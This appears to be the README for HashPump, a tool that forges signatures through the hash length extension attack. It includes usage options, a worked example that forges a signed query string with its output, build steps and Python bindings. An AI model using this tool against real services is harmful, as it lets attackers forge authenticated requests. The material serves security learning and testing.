A tool to exploit the hash length extension attack in various hashing algorithms.
Currently supported algorithms: MD5, SHA1, SHA256, SHA512.
Help Menu$ hashpump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h --help Display this message.
-t --test Run tests to verify each algorithm is operating properly.
-s --signature The signature from known message.
-d --data The data from the known message.
-a --additional The information you would like to add to the known message.
-k --keylength The length in bytes of the key being used to sign the original message with.
Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@botnet_hunter)>
$ hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege
$ git clone https://github.com/bwall/HashPump.git
$ apt-get install g++ libssl-dev
$ cd HashPump
$ make
$ make install
apt-get and
make install require root privileges to run correctly. The actual requirement is for
-lcrypto, so depending on your operating system, your dependencies may vary.
On OS X HashPump can also be installed using
Homebrew:
MentionsHashPump has been mentioned in a few write-ups. If you are wondering how you can use HashPump, these are some great examples.
Python BindingsFellow Python lovers will be pleased with this addition. Saving me from writing an implementation of all these hash algorithms with the ability to modify states in Python, Python bindings have been added in the form of hashpumpy. This addition comes from
zachriggle.
InstallationThese Python bindings are available on
PyPI and can be installed via pip. pip install hashpumpy
Usage>>> import hashpumpy
>>> help(hashpumpy.hashpump)
Help on built-in function hashpump in module hashpumpy:
hashpump(...)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
('e3c4a05f', 'original_datadata_to_add')
Python 3 notehashpumpy supports Python 3. Different from the Python 2 version, the second value (the new message) in the returned tuple from
hashpumpy.hashpump is a bytes-like object instead of a string.
